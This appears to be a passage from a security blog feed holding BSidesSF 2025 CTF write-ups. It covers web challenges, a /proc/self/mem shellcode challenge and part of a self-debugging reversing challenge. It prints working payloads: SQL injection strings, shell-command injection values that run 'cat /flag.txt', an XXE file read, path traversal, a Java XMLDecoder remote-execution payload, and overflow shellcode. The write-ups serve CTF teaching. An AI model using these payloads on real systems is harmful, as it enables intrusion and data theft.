<h2 id="go-back"><code class="language-plaintext highlighter-rouge">go-back</code></h2>

<p><code class="language-plaintext highlighter-rouge">go-back</code> is one of my favourites, it’s kind of a puzzle challenge! It’s based on a challenge on Smash the Stack’s <code class="language-plaintext highlighter-rouge">io</code> wargame from years ago, which doesn’t see to exist anymore.</p>

<p>The code is dirt simple, but doesn’t have any obvious issues:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;string.h&gt;
#include &lt;unistd.h&gt;
void main(int argc, char *argv[])
{
  FILE *f= fopen("flag.txt", "r");
  if(!f) {
    printf("Couldn't open flag file!\n");
    perror("fopen");
    exit(1);
  }
  char flag[32];
  fgets(flag, 32, f);
  fclose(f);
  if(argc != 2) {
    printf("Oops!\n");
    exit(1);
  }
  // no timing attacks!! seriously
  usleep(rand() % 1000);
  if(!strcmp(flag, argv[1])) {
    printf("Yay!\n");
  }
}
</code></pre></div></div>

<p>The issue is actually pretty nifty: since <code class="language-plaintext highlighter-rouge">main()</code> is a void function, the C compiler doesn’t care what it returns, so it just ignores the return value.</p>

<p>The OS, however, <em>does</em> about the return value, so it will look at whatever happens to be in <code class="language-plaintext highlighter-rouge">rax</code> (the register that typically carries a return value). Since <code class="language-plaintext highlighter-rouge">main()</code> doesn’t return anything, the behaviour is undefined (meaning the compiler washes its hands of it).</p>

<p>But what ends up happening is that the return value from the last function called - <code class="language-plaintext highlighter-rouge">strcmp()</code> - gets implicity returned, and the exit code for the process is the last byte of the exit code for <code class="language-plaintext highlighter-rouge">strcmp()</code>. Based on that exit code, you can recreate the <code class="language-plaintext highlighter-rouge">flag</code> string one character at a time.</p>

<p>Neat!</p>]]></content><author><name>ron</name></author><category term="bsidessf-2025" /><category term="ctfs" /><summary type="html"><![CDATA[In this post, I’m going to do write-ups for a few challenges that don’t really meaningfully categorize. As usual, you can find the code and complete solutions on our GitHub repo!]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" /><media:content medium="image" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">BSidesSF 2025: 101 Challenges</title><link href="https://www.skullsecurity.org/2025/bsidessf-2025-101-challenges" rel="alternate" type="text/html" title="BSidesSF 2025: 101 Challenges" /><published>2025-04-27T22:59:15+00:00</published><updated>2025-04-27T22:59:15+00:00</updated><id>https://www.skullsecurity.org/2025/bsidessf-ctf-101</id><content type="html" xml:base="https://www.skullsecurity.org/2025/bsidessf-2025-101-challenges"><![CDATA[<p>I wrote a wholllle pile of 101 web challenges this year, which are ultimately going to be adapted for a workshop I’m giving at NorthSec in Montreal next month.</p>

<p>I’m not going to spend a ton of time on them, I’ll just give the solutions quickly.</p>

<p>As usual, you can find the code and complete solutions on our <a href="https://github.com/BSidesSF/ctf-2025-release">GitHub repo</a>!</p>

<p>And, if these are particularly interesting to you, come see me in Montreal!</p>

<!--more-->

<h2 id="hidden-reports-sqli-login"><code class="language-plaintext highlighter-rouge">hidden-reports</code> (sqli login)</h2>

<p>Hidden-reports is classic SQL injection in a login form <code class="language-plaintext highlighter-rouge">' or '1'='1</code>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">result</span> <span class="o">=</span> <span class="no">HTTParty</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="n">get_url</span><span class="p">(),</span> <span class="ss">body: </span><span class="p">{</span> <span class="s1">'passphrase'</span> <span class="o">=&gt;</span> <span class="s2">"test' or '1'='1"</span> <span class="p">})</span>
</code></pre></div></div>

<h2 id="detector-shell-injection"><code class="language-plaintext highlighter-rouge">detector</code> (shell injection)</h2>

<p><code class="language-plaintext highlighter-rouge">detector</code> is shell command injection:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">result</span> <span class="o">=</span> <span class="no">HTTParty</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span> <span class="n">get_url</span><span class="p">()</span> <span class="si">}</span><span class="s2">/detect-dragon.php?ip=1.2.3.4; cat /app/dragon-detector-ai;"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="detector-2-shell-injection"><code class="language-plaintext highlighter-rouge">detector-2</code> (shell injection)</h2>

<p><code class="language-plaintext highlighter-rouge">detector-2</code> is a slightly different flavour of shell command injection:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">result</span> <span class="o">=</span> <span class="no">HTTParty</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span> <span class="n">get_url</span><span class="p">()</span> <span class="si">}</span><span class="s2">/detect-dragon.php?ip=1.2.3.4$(cat /app/dragon-detector-ai)"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="evidence-xxe"><code class="language-plaintext highlighter-rouge">evidence</code> (XXE)</h2>

<p><code class="language-plaintext highlighter-rouge">evidence</code> is XML eXternal Entities - XXE:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">XXE</span> <span class="o">=</span> <span class="o">&lt;&lt;~</span><span class="no">XXE</span><span class="sh">
  &lt;?xml version="1.0" encoding="UTF-8"?&gt;
  &lt;!DOCTYPE root [
    &lt;!ENTITY xxe SYSTEM "file:///flag.txt"&gt;
  ]&gt;
  &lt;dragons&gt;
    &lt;dragon&gt;
      &lt;name&gt;Smaug&lt;/name&gt;
      &lt;proof&gt;&amp;xxe;&lt;/proof&gt;
    &lt;/dragon&gt;
  &lt;/dragons&gt;
</span><span class="no">XXE</span>

<span class="no">EXPLOIT_FILE</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">__dir__</span><span class="p">,</span> <span class="s1">'payload.xml'</span><span class="p">)</span>
<span class="no">File</span><span class="p">.</span><span class="nf">write</span><span class="p">(</span><span class="no">EXPLOIT_FILE</span><span class="p">,</span> <span class="no">XXE</span><span class="p">)</span>
<span class="n">result</span> <span class="o">=</span> <span class="no">HTTParty</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span>
  <span class="n">get_url</span><span class="p">(),</span>
  <span class="ss">body: </span><span class="p">{</span>
    <span class="ss">dragon_file: </span><span class="no">File</span><span class="p">.</span><span class="nf">open</span><span class="p">(</span><span class="no">EXPLOIT_FILE</span><span class="p">,</span> <span class="s1">'r'</span><span class="p">)</span>
  <span class="p">},</span>
  <span class="ss">headers: </span><span class="p">{</span>
    <span class="s1">'Content-Type'</span> <span class="o">=&gt;</span> <span class="s1">'multipart/form-data'</span>
  <span class="p">}</span>
<span class="p">)</span>
</code></pre></div></div>

<h2 id="pathing-path-traversal"><code class="language-plaintext highlighter-rouge">pathing</code> (path traversal)</h2>

<p><code class="language-plaintext highlighter-rouge">pathing</code> is directory traversal in the URL (if you’re using <code class="language-plaintext highlighter-rouge">curl</code>, you’ll need <code class="language-plaintext highlighter-rouge">--path-as-is</code>, and other tools and browsers get confused):</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">PATH</span> <span class="o">=</span> <span class="s2">"</span><span class="si">#{</span><span class="n">get_url</span><span class="p">()</span><span class="si">}</span><span class="s2">/../../../../../../flag.txt"</span>
<span class="nb">puts</span> <span class="s2">"Requesting </span><span class="si">#{</span> <span class="no">PATH</span> <span class="si">}</span><span class="s2">..."</span>
<span class="n">out</span> <span class="o">=</span> <span class="o">::</span><span class="no">HTTParty</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="no">PATH</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="sighting-path-traversal"><code class="language-plaintext highlighter-rouge">sighting</code> (path traversal)</h2>

<p><code class="language-plaintext highlighter-rouge">sighting</code> is another flavour of directory traversal, this time in an argument:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">PATH</span> <span class="o">=</span> <span class="s2">"</span><span class="si">#{</span><span class="n">get_url</span><span class="p">()</span><span class="si">}</span><span class="s2">picture.php?file=../../../../../../flag.txt"</span>
<span class="nb">puts</span> <span class="s2">"Requesting </span><span class="si">#{</span> <span class="no">PATH</span> <span class="si">}</span><span class="s2">..."</span>
<span class="n">out</span> <span class="o">=</span> <span class="o">::</span><span class="no">HTTParty</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="no">PATH</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="taxonomy-search-sqli"><code class="language-plaintext highlighter-rouge">taxonomy</code> (search SQLi)</h2>

<p><code class="language-plaintext highlighter-rouge">taxonomy</code> is classic SQL injection in a <code class="language-plaintext highlighter-rouge">WHERE</code> string - essentially <code class="language-plaintext highlighter-rouge">' or 1=1)--</code>:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">result</span> <span class="o">=</span> <span class="no">HTTParty</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span> <span class="n">get_url</span><span class="p">()</span> <span class="si">}</span><span class="s2">/?search=Nano%27%20OR%201=1)%20--"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="dating-xmldecoder"><code class="language-plaintext highlighter-rouge">dating</code> (XMLDecoder)</h2>

<p><code class="language-plaintext highlighter-rouge">dating</code> is insecure <code class="language-plaintext highlighter-rouge">XMLDecoder</code> usage - you can basically copy/paste reverse shell code.</p>

<p>My solution is a bit complicated because I want to be able to do it without a reverse shell:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">TEMP</span> <span class="o">=</span> <span class="no">UUID</span><span class="p">.</span><span class="nf">generate</span><span class="p">.</span><span class="nf">to_s</span>
<span class="no">COPY</span> <span class="o">=</span> <span class="o">&lt;&lt;~</span><span class="no">COPY</span><span class="sh">
  &lt;?xml version="1.0" encoding="UTF-8"?&gt;
  &lt;java version="1.8.0_102" class="java.beans.XMLDecoder"&gt;
   &lt;object class="java.lang.Runtime" method="getRuntime"&gt;
        &lt;void method="exec"&gt;
        &lt;array class="java.lang.String" length="3"&gt;
            &lt;void index="0"&gt;
                &lt;string&gt;/bin/bash&lt;/string&gt;
            &lt;/void&gt;
            &lt;void index="1"&gt;
                &lt;string&gt;-c&lt;/string&gt;
            &lt;/void&gt;
            &lt;void index="2"&gt;
                &lt;string&gt;cp /flag.txt /usr/local/tomcat/webapps/ROOT/</span><span class="si">#{</span> <span class="no">TEMP</span> <span class="si">}</span><span class="sh">.txt&lt;/string&gt;
            &lt;/void&gt;
        &lt;/array&gt;
        &lt;/void&gt;
   &lt;/object&gt;
  &lt;/java&gt;
</span><span class="no">COPY</span>
<span class="no">DELETE</span> <span class="o">=</span> <span class="o">&lt;&lt;~</span><span class="no">DELETE</span><span class="sh">
  &lt;?xml version="1.0" encoding="UTF-8"?&gt;
  &lt;java version="1.8.0_102" class="java.beans.XMLDecoder"&gt;
   &lt;object class="java.lang.Runtime" method="getRuntime"&gt;
        &lt;void method="exec"&gt;
        &lt;array class="java.lang.String" length="3"&gt;
            &lt;void index="0"&gt;
                &lt;string&gt;/bin/bash&lt;/string&gt;
            &lt;/void&gt;
            &lt;void index="1"&gt;
                &lt;string&gt;-c&lt;/string&gt;
            &lt;/void&gt;
            &lt;void index="2"&gt;
                &lt;string&gt;rm -f /usr/local/tomcat/webapps/ROOT/</span><span class="si">#{</span> <span class="no">TEMP</span> <span class="si">}</span><span class="sh">.txt&lt;/string&gt;
            &lt;/void&gt;
        &lt;/array&gt;
        &lt;/void&gt;
   &lt;/object&gt;
  &lt;/java&gt;
</span><span class="no">DELETE</span>
<span class="c1"># Move the file</span>
<span class="no">HTTParty</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span> <span class="n">get_url</span><span class="p">()</span> <span class="si">}</span><span class="s2">/ProfileServlet"</span><span class="p">,</span> <span class="ss">body: </span><span class="no">COPY</span><span class="p">)</span>
<span class="c1"># Get the file</span>
<span class="n">result</span> <span class="o">=</span> <span class="no">HTTParty</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span> <span class="n">get_url</span><span class="p">()</span> <span class="si">}</span><span class="s2">/</span><span class="si">#{</span> <span class="no">TEMP</span> <span class="si">}</span><span class="s2">.txt"</span><span class="p">)</span>
<span class="c1"># Delete the file</span>
<span class="no">HTTParty</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span> <span class="n">get_url</span><span class="p">()</span> <span class="si">}</span><span class="s2">/ProfileServlet"</span><span class="p">,</span> <span class="ss">body: </span><span class="no">DELETE</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="hoard-shell-injection"><code class="language-plaintext highlighter-rouge">hoard</code> (shell injection)</h2>

<p><code class="language-plaintext highlighter-rouge">hoard</code> is another shell command injection issue, this time in a JSON payload:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">BODY</span> <span class="o">=</span> <span class="p">{</span>
  <span class="s1">'hoardType'</span> <span class="o">=&gt;</span> <span class="s1">'artifact'</span><span class="p">,</span>
  <span class="s1">'gold'</span> <span class="o">=&gt;</span> <span class="s1">'123'</span><span class="p">,</span>
  <span class="s1">'gems'</span> <span class="o">=&gt;</span> <span class="s1">'123'</span><span class="p">,</span>
  <span class="s1">'artifacts'</span> <span class="o">=&gt;</span> <span class="s2">"123';cat /flag.txt;echo '"</span><span class="p">,</span>
<span class="p">}.</span><span class="nf">to_json</span>
<span class="n">result</span> <span class="o">=</span> <span class="no">HTTParty</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span> <span class="n">get_url</span><span class="p">()</span> <span class="si">}</span><span class="s2">/backend.php"</span><span class="p">,</span> <span class="ss">body: </span><span class="no">BODY</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="extinction-ambiguous-base64"><code class="language-plaintext highlighter-rouge">extinction</code> (ambiguous base64)</h2>

<p>And finally, <code class="language-plaintext highlighter-rouge">extinction</code> is a challenge based on ambiguous base64 - depending on the length of the string, the last bit or two can be changed without changing the value it decodes to (this is based on my poor attempt to write Suricata rules at work):</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">result</span> <span class="o">=</span> <span class="no">HTTParty</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span> <span class="n">get_url</span><span class="p">()</span> <span class="si">}</span><span class="s2">/index.php?encoded_creds=</span><span class="si">#{</span> <span class="no">Base64</span><span class="p">.</span><span class="nf">strict_encode64</span><span class="p">(</span><span class="s1">'admin:admin'</span><span class="p">)</span> <span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="k">if</span> <span class="n">result</span><span class="p">.</span><span class="nf">include?</span><span class="p">(</span><span class="s1">'CTF'</span><span class="p">)</span> <span class="o">||</span> <span class="o">!</span><span class="n">result</span><span class="p">.</span><span class="nf">include?</span><span class="p">(</span><span class="s1">'AHA'</span><span class="p">)</span>
  <span class="nb">puts</span> <span class="s2">"Something went wrong: the 'bad' request wasn't correctly handled!"</span>
  <span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="k">end</span>
<span class="n">result</span> <span class="o">=</span> <span class="no">HTTParty</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="s2">"</span><span class="si">#{</span> <span class="n">get_url</span><span class="p">()</span> <span class="si">}</span><span class="s2">/index.php?encoded_creds=YWRtaW46YWRtaW5="</span><span class="p">)</span>
</code></pre></div></div>]]></content><author><name>ron</name></author><category term="bsidessf-2025" /><category term="ctfs" /><summary type="html"><![CDATA[I wrote a wholllle pile of 101 web challenges this year, which are ultimately going to be adapted for a workshop I’m giving at NorthSec in Montreal next month. I’m not going to spend a ton of time on them, I’ll just give the solutions quickly. As usual, you can find the code and complete solutions on our GitHub repo! And, if these are particularly interesting to you, come see me in Montreal!]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" /><media:content medium="image" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">BSidesSF 2025: accan and drago-daction: pwn your own memory</title><link href="https://www.skullsecurity.org/2025/bsidessf-2025-accan-and-drago-daction-pwn-your-own-memory" rel="alternate" type="text/html" title="BSidesSF 2025: accan and drago-daction: pwn your own memory" /><published>2025-04-27T22:59:10+00:00</published><updated>2025-04-27T22:59:10+00:00</updated><id>https://www.skullsecurity.org/2025/bsidessf-ctf-acaan</id><content type="html" xml:base="https://www.skullsecurity.org/2025/bsidessf-2025-accan-and-drago-daction-pwn-your-own-memory"><![CDATA[<p>If you read <a href="/2025/bsidessf-2025-bug-me-hard-reversing-challenge-">my <code class="language-plaintext highlighter-rouge">bug-me</code> write-up</a> or my <a href="https://www.labs.greynoise.io/grimoire/2025-01-28-process-injection/">Linux process injection</a> blog, you may be under the impression that I’ve been obsessed with the ability of Linux processes to write to their own memory.</p>

<p>These challenges are no exception!</p>

<p>You can download source and the challenge (including solutions) <a href="https://github.com/BSidesSF/ctf-2025-release/tree/main/acaan">here (acaan)</a> and <a href="https://github.com/BSidesSF/ctf-2025-release/tree/main/drago-daction">here (drago-daction)</a>.</p>

<!--more-->

<h2 id="acaan">acaan</h2>

<p>I actually wrote <code class="language-plaintext highlighter-rouge">drago-daction</code> first, but decided I wanted a more training-wheels-y version of it so I wrote <code class="language-plaintext highlighter-rouge">acaan</code>, which is much more direct.</p>

<p>For what it’s worth, <code class="language-plaintext highlighter-rouge">acaan</code> stands for “any card at any number”, which is a plot in magic (card tricks). Volunteer names any card, and any number (between 1 and 52), and lo and behold! The card is at that number. And the audience is amazed - once you explain that it’s a Big Deal.</p>

<p>When you connect to <code class="language-plaintext highlighter-rouge">acaan</code>, it prompts you for a file, and offset, and new data to write. Then it does what it says - it writes that data to that offset in that file:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nc acaan-d715d4a7.challenges.bsidessf.net 4113
Welcome to ACAAN (Any Computerfile At Any Number)!
Filename?
/etc/passwd
Offset into the file (either decimal, or 0xhex)?
10
Data to replace it with? (Binary is fine - end with "\n.\n" or by closing the socket)
hello
.
Replacing 5 bytes from file /etc/passwd at offset 10! Hope this is everything you were hoping for!
Couldn't open /etc/passwd!
</code></pre></div></div>

<p>I also provided the source so you can see there are no tricks - it’s exactly what it sounds like.</p>

<p>The challenge is solved by writing to read-only memory by editing <code class="language-plaintext highlighter-rouge">/proc/self/mem</code>, my technique du jour:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>s = TCPSocket.new(HOST, PORT)
puts s.readpartial(1024)
s.puts('/proc/self/mem')
sleep(0.5)
puts s.readpartial(1024)
s.puts(TARGET_ADDRESS.to_i)
sleep(0.5)
puts s.readpartial(1024)
s.puts(File.read(File.join(__dir__, 'shellcode.bin')))
s.puts('.')
s.puts('.')
sleep(0.5)
check_flag(s.read(1024), terminate: true, partial: true)
</code></pre></div></div>

<p>The shellcode is pretty standard <code class="language-plaintext highlighter-rouge">open</code> / <code class="language-plaintext highlighter-rouge">read</code> / <code class="language-plaintext highlighter-rouge">write</code>, written by ai and then fixed to actually work:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>bits 64
; Open the file
jmp filename
top:
  pop rdi
  xor rsi, rsi             ; Flags = 0 (O_RDONLY)
  xor rdx, rdx             ; Mode = 0
  mov rax, 2               ; Syscall for open
  syscall
  mov rdi, rax

  ; Read from the file
  sub rsp, 0x100           ; Allocate space on the stack for the buffer
  lea rsi, [rsp]           ; Load the buffer address into rsi
  mov rdx, 0x100           ; Read up to 256 bytes
  mov rax, 0               ; Syscall for read
  syscall

  ; Write to stdout
  mov rdi, 1               ; Set fd to stdout
  mov rdx, rax             ; Set the number of bytes to write
  mov rax, 1               ; Syscall for write
  syscall

  ; Exit
  xor rdi, rdi             ; Exit code 0
  mov rax, 60              ; Syscall for exit
  syscall
filename:
  call top
  db "/flag.txt", 0        ; Null-terminated filename
</code></pre></div></div>

<h2 id="drago-daction"><code class="language-plaintext highlighter-rouge">drago-daction</code></h2>

<p>Yes, I know that <code class="language-plaintext highlighter-rouge">draco-daction</code> would have been a better name! I changed the name once and didn’t want to change it again. :)</p>

<p>Although this has a similar payoff to <code class="language-plaintext highlighter-rouge">acaan</code>, the path there is much different: this application is vulnerable to a stack buffer overflow which lets you change the filename and offset.</p>

<p>The premise of the challenge is redacting information. The first time it redacts a string, you can overwrite the stack data. The second time, it opens the wrong file and writes to the wrong offset. Once you’ve reached that point, you’re back to <code class="language-plaintext highlighter-rouge">acaan</code>, only much more annoying.</p>

<h3 id="solution">Solution</h3>

<p>First, we create a file with two replaceable strings:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Create the dragonfile</span>
<span class="n">file</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">new</span><span class="p">(</span><span class="s1">'/tmp/dragonfile.txt'</span><span class="p">,</span> <span class="s1">'w'</span><span class="p">)</span>

<span class="c1"># This requires two lines: one to overwrite the pointers, and one to write to</span>
<span class="c1"># memory</span>
<span class="n">file</span><span class="p">.</span><span class="nf">puts</span><span class="p">(</span><span class="s2">"dragon</span><span class="si">#{</span> <span class="s1">'B'</span> <span class="o">*</span> <span class="mi">100</span> <span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">file</span><span class="p">.</span><span class="nf">puts</span><span class="p">(</span><span class="s2">"dragon</span><span class="si">#{</span> <span class="s1">'B'</span> <span class="o">*</span> <span class="mi">100</span> <span class="si">}</span><span class="s2">"</span><span class="p">)</span>
<span class="n">file</span><span class="p">.</span><span class="nf">close</span>
</code></pre></div></div>

<p>Then we create our payload, which replaces “dragon” with the payload, which includes an overflow:</p>

<div class="language-ruby highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="no">SHELLCODE</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">shellcode_file</span><span class="p">.</span><span class="nf">to_path</span><span class="p">).</span><span class="nf">force_encoding</span><span class="p">(</span><span class="s1">'ASCII-8bit'</span><span class="p">).</span><span class="nf">ljust</span><span class="p">(</span><span class="no">PADDING</span><span class="p">,</span> <span class="s1">'A'</span><span class="p">)</span>

<span class="c1"># ...</span>

<span class="n">payload</span> <span class="o">=</span> <span class="p">[</span>
  <span class="s2">"dragon</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span>
  <span class="s2">"</span><span class="si">#{</span> <span class="no">SHELLCODE</span> <span class="si">}#{</span> <span class="no">TARGET_ADDRESS_STR</span> <span class="si">}</span><span class="s2">/proc/self/mem</span><span class="se">\0\n</span><span class="s2">"</span><span class="p">,</span>
<span class="p">].</span><span class="nf">join</span><span class="p">()</span>
</code></pre></div></div>

<p>We replace some random code at the end of the binary with our shellcode:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Find a good place to target - we're choosing this line:
# 401751:       e8 2a f9 ff ff          call   401080 &lt;__stack_chk_fail@plt&gt;
unless `objdump -D #{ EXE } | grep 'call.*__stack_chk_fail@plt' | tail -n1` =~ /^ *([0-9a-fA-F]*)/
  puts "Couldn't find __stack_chk_fail call!"
  exit 1
end
TARGET_ADDRESS = Regexp.last_match(1).to_i(16)
TARGET_ADDRESS_STR = [TARGET_ADDRESS - ADJUST].pack('V')
</code></pre></div></div>

<p>And that’s it!</p>

<p>Honestly, it was a bit of a pain to solve, hopefully folks enjoy it!</p>]]></content><author><name>ron</name></author><category term="bsidessf-2025" /><category term="ctfs" /><summary type="html"><![CDATA[If you read my bug-me write-up or my Linux process injection blog, you may be under the impression that I’ve been obsessed with the ability of Linux processes to write to their own memory. These challenges are no exception! You can download source and the challenge (including solutions) here (acaan) and here (drago-daction).]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" /><media:content medium="image" url="https://www.skullsecurity.org/assets/skullsecurity.jpg" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">BSidesSF 2025: bug-me (hard reversing challenge)</title><link href="https://www.skullsecurity.org/2025/bsidessf-2025-bug-me-hard-reversing-challenge-" rel="alternate" type="text/html" title="BSidesSF 2025: bug-me (hard reversing challenge)" /><published>2025-04-27T22:59:05+00:00</published><updated>2025-04-27T22:59:05+00:00</updated><id>https://www.skullsecurity.org/2025/bsidessf-ctf-bug-me</id><content type="html" xml:base="https://www.skullsecurity.org/2025/bsidessf-2025-bug-me-hard-reversing-challenge-"><![CDATA[<p>Every year, I make a list of ideas and it contains the same thing: “process that debugs itself”. It’s from a half-remembered Windows challenge I solved when I was very new to CTFs.</p>

<p>I’m obsessed with that concept, having messed with writing debuggers a few times (including <a href="https://github.com/iagox86/mandrake">Mandrake</a>), and <a href="https://www.labs.greynoise.io/grimoire/2025-01-28-process-injection/">blogging about process injection</a>. You’ll find a few challenges influenced by that those concepts thie yar, but this time we’re gonna look at <code class="language-plaintext highlighter-rouge">bug-me</code>.</p>

<p>You can download source and the challenge (including solution) <a href="https://github.com/BSidesSF/ctf-2025-release/tree/main/bug-me">here</a>.</p>

<!--more-->

<h2 id="concept">Concept</h2>

<p>The premise of this reversing challenge is:</p>

<ul>
  <li>A binary that debugs itself</li>
  <li>It intentionally causes exceptions</li>
  <li>When an exception happens, the debugger potion of the process handles it,
changes something, and then returns control</li>
</ul>

<p>That cool (cruel?) part of this is that if you run the process in a debugger, the process will (semi-silently) fail to debug itself and the exception will be handled by the debugger, and the exception handler will never run.</p>

<h2 id="debugging-yourself">Debugging yourself</h2>

<p>So typically, a process will spawn a child process using <code class="language-plaintext highlighter-rouge">fork()</code>, and that child runs <code class="language-plaintext highlighter-rouge">PTRACE_TRACEME</code> to request debugging. From the <code class="language-plaintext highlighter-rouge">ptrace(2)</code> manpage:</p>

<blockquote>
  <p>A process can initiate a  trace  by  calling  fork(2)  and  having  the  resulting  child  do  a
PTRACE_TRACEME,  followed  (typically) by an execve(2).  Alternatively, one process may commence
tracing another process using PTRACE_ATTACH or PTRACE_SEIZE.</p>
</blockquote>

<p>The problem with that whole technique is that you can still debug the server (which is debugging its child), and that defeats the purpose of the challenge! I wanted it to be secret-ish.</p>

<p>So here’s what happens: the process uses <code class="language-plaintext highlighter-rouge">fork</code> to spawn a child, and that <em>child</em> debugs the <em>parent</em> (which, saw I said, is unusual):</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="n">FORK</span><span class="p">())</span> <span class="p">{</span>
    <span class="c1">// We're actually attaching a debugger to the parent, not the child, because</span>
    <span class="c1">// we don't want users seeing the parent code</span>
    <span class="n">pid_t</span> <span class="n">parent</span> <span class="o">=</span> <span class="n">GETPPID</span><span class="p">();</span>
    <span class="k">if</span><span class="p">(</span><span class="n">PTRACE</span><span class="p">(</span><span class="n">PTRACE_ATTACH</span><span class="p">,</span> <span class="n">parent</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">EXIT</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="c1">// Wait for the attach to finish, then resume</span>
    <span class="kt">int</span> <span class="n">status</span><span class="p">;</span>
    <span class="n">WAITPID</span><span class="p">(</span><span class="n">parent</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">status</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
    <span class="n">PTRACE</span><span class="p">(</span><span class="n">PTRACE_CONT</span><span class="p">,</span> <span class="n">parent</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>

<p>(Don’t worry about the capitalized function names, I’ll talk about that when I cover the obfuscation techniques)</p>

<p>That causes a small race condition, where the program can crash before the debugger actually attaches, so I added a <code class="language-plaintext highlighter-rouge">sleep(1)</code> and life’s good!</p>

<h2 id="crashing">Crashing</h2>

<p>Let’s have a look at the main function.. it looks pretty innocuous:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
  <span class="c1">// Fork a child</span>
  <span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o">!=</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Usage: %s &lt;flag&gt;</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="c1">// Some delay is required to ensure the parent gets its debugger attached</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Loading...</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
